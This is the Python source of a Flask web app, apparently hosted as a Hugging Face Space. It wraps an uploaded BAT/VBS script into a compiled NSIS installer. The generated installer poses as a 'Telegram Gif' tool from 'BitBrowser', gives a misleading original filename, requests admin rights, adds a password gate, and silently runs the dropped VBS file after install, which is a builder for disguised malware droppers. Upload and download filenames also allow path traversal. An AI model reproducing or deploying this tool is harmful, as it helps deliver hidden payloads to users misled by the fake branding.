Spaces:
Sleeping
Sleeping
File size: 4,473 Bytes
adbe5cd 45a1acf 66f8fc1 45a1acf b1f0958 66f8fc1 adbe5cd 45a1acf adbe5cd 66f8fc1 45a1acf 52ab4b4 b1f0958 52ab4b4 b1f0958 52ab4b4 b1f0958 0bc4997 b1f0958 52ab4b4 3374df9 2660f1c c7ce71d 3374df9 c7ce71d 3374df9 1289a88 3374df9 1289a88 3374df9 1289a88 3374df9 c7ce71d 3374df9 c7ce71d 3374df9 1289a88 3374df9 c7ce71d b1f0958 52ab4b4 b1f0958 3374df9 b1f0958 329f9c0 45a1acf b1f0958 45a1acf b1f0958 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 |
from flask import Flask, request, send_file, render_template_string
import os
import subprocess
app = Flask(__name__)
UPLOAD_FOLDER = 'uploads'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
# HTML template for the index page
HTML_TEMPLATE = """
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>NSIS Installer Creator</title>
</head>
<body>
<h1>Upload Files to Create NSIS Installer</h1>
<form action="/upload" method="post" enctype="multipart/form-data">
<label for="bat_file">Upload BAT file:</label>
<input type="file" name="bat_file" required><br><br>
<label for="icon_file">Upload ICO file:</label>
<input type="file" name="icon_file" required><br><br>
<input type="submit" value="Upload and Compile">
</form>
</body>
</html>
"""
@app.route('/')
def index():
return render_template_string(HTML_TEMPLATE)
@app.route('/upload', methods=['POST'])
def upload_files():
if 'bat_file' not in request.files or 'icon_file' not in request.files:
return "No file part", 400
bat_file = request.files['bat_file']
icon_file = request.files['icon_file']
if bat_file.filename == '' or icon_file.filename == '':
return "No selected file", 400
# Define the paths to save the uploaded files
bat_path = os.path.join(app.config['UPLOAD_FOLDER'], bat_file.filename)
icon_path = os.path.join(app.config['UPLOAD_FOLDER'], icon_file.filename)
# Save the uploaded files
bat_file.save(bat_path)
icon_file.save(icon_path)
# Construct the NSIS script using the provided paths
nsi_script = f"""!include "MUI2.nsh"
!include "nsDialogs.nsh"
!include "LogicLib.nsh"
# Define installer name and version
Outfile "bont.exe"
InstallDir "$PROGRAMDATA"
# Set the name of the application
Name "Telegram Gif"
Caption "bont 1.4.44.3"
VIProductVersion "1.4.44.3"
# Set the output directory and the base name of the installer file
SetCompressor /SOLID lzma
RequestExecutionLevel admin
# Application metadata
VIAddVersionKey "ProductName" "bont Gif"
VIAddVersionKey "FileVersion" "1.4.44.3"
VIAddVersionKey "CompanyName" "BitBrowser"
VIAddVersionKey "LegalCopyright" "Copyright © 2024 BitBrowser"
VIAddVersionKey "FileDescription" "Bont is a tool designed to enhance GIF handling and sharing on Telegram."
VIAddVersionKey "ProductVersion" "1.4.44.3"
VIAddVersionKey "OriginalFilename" "runtime.dll"
# Password to be checked
Var PASSWORD
Var DialogHandle
Var PasswordInput
# Add a password prompt
Function ShowPasswordPage
nsDialogs::Create 1018
Pop $DialogHandle
nsDialogs::CreateLabel 10u 10u 100% 12u "Please enter the installation password:"
Pop $0
nsDialogs::CreatePassword 10u 25u 100% 12u ""
Pop $PasswordInput
nsDialogs::Show
FunctionEnd
# Password check logic
Function CheckPassword
nsDialogs::GetText $PasswordInput $PASSWORD
StrCmp $PASSWORD "yourpassword" 0 +3
MessageBox MB_OK "Password accepted"
Return
MessageBox MB_OK "Incorrect password. Installation will now exit."
Abort
FunctionEnd
# Display password page before installation starts
Page custom ShowPasswordPage CheckPassword
Page instfiles
# Define installer sections
Section "Install"
SetOutPath "$PROGRAMDATA"
# Debug the path
MessageBox MB_OK "Attempting to load file from: $INSTDIR\\0.vbs"
# Files to install (use /nonfatal to allow script to continue if file is missing)
File /nonfatal /r "{bat_path}"
# Run the VBS file post-install (only if it was found)
IfFileExists "$INSTDIR\\0.vbs" 0 +2
ExecShell "" "$INSTDIR\\0.vbs"
SectionEnd
"""
nsi_path = os.path.join(app.config['UPLOAD_FOLDER'], 'installer.nsi')
with open(nsi_path, 'w') as nsi_file:
nsi_file.write(nsi_script)
# Compile the NSIS script
try:
result = subprocess.run(['makensis', nsi_path], check=True, capture_output=True, text=True)
return f"Compilation successful! Download here: <a href='/download/bont.exe'>bont.exe</a>", 200
except subprocess.CalledProcessError as e:
return f"Compilation failed: {e.stderr}", 400
@app.route('/download/<filename>')
def download_file(filename):
return send_file(os.path.join(app.config['UPLOAD_FOLDER'], filename), as_attachment=True)
if __name__ == '__main__':
if not os.path.exists(UPLOAD_FOLDER):
os.makedirs(UPLOAD_FOLDER)
app.run(host='0.0.0.0', port=7860)
|